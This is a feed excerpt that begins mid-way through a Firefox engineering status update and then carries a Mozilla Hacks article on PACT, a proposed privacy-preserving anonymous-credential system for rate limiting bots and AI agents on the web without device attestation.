<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
